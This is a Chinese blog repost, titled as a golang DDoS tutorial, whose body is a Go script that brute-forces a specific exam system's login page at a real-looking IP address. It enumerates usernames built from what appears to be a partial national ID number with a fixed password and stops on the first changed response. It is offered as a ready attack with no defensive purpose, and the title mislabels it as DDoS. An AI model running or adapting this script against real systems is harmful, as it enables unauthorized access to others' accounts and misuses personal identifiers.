zoukankan      html  css  js  c++  java
  • 用golang实现DDOS攻击网站

    package main
    
    
    
    import (
    
    "bytes"
    
    "fmt"
    
    "io/ioutil"
    
    "net/http"
    
    "os"
    
    "strconv"
    
    "strings"
    
    "github.com/op/go-logging"
    
    )
    
    
    
    var logger = logging.MustGetLogger("evil")
    
    var Err []byte
    
    
    
    func init() {
    
    format := logging.MustStringFormatter(`[%{module}] %{time:2006-01-02 15:04:05} [%{level}] [%{longpkg} %{shortfile}] { %{message} }`)
    
    
    
    backendConsole := logging.NewLogBackend(os.Stderr, "", 0)
    
    backendConsole2Formatter := logging.NewBackendFormatter(backendConsole, format)
    
    
    
    logging.SetBackend(backendConsole2Formatter)
    
    }
    
    
    
    func main() {
    
    
    
    for i := 200000; i < 320000; /*000000*/ i++ {
    
    
    
    nonce := strconv.Itoa(i)
    
    if len(nonce) != 6 {
    
    loop := 6 - len(nonce)
    
    for k := 0; k < loop; k++ {
    
    nonce = fmt.Sprint("0", nonce)
    
    }
    
    }
    
    logger.Info(">>>>>>>>>>> ", nonce)
    
    
    
    resp, err := http.Post("http://222.132.30.219:8203/kaoshi/login.asp", "", strings.NewReader(fmt.Sprint("username=370785198703", nonce, "&password=111009")))
    
    if err != nil {
    
    logger.Error(err)
    
    continue
    
    }
    
    logger.Info(resp.StatusCode, resp.StatusCode)
    
    
    
    body, err := ioutil.ReadAll(resp.Body)
    
    if err != nil {
    
    logger.Error(err)
    
    continue
    
    }
    
    
    
    if i == 200000 {
    
    Err = body[:2000]
    
    logger.Info(string(Err))
    
    continue
    
    }
    
    
    
    if bytes.Equal(body[:2000], Err) {
    
    logger.Info("error")
    
    continue
    
    }
    
    
    
    logger.Info(string(body))
    
    break
    
    }
    
    
    
    logger.Warning("not found")
    
    }
  • 相关阅读:
    24-反转链表
    23-链表中环的入口节点
    22-链表中倒数第k个节点
    21-调整数组顺序使奇数位于偶数前面
    18-删除链表的节点
    17-打印从1到最大的n位数
    16-数值的整数次方
    15-二进制中1的个数
    14-剪绳子
    13-机器人的运动范围
  • 原文地址:https://www.cnblogs.com/hzcya1995/p/13313587.html
Copyright © 2011-2022 走看看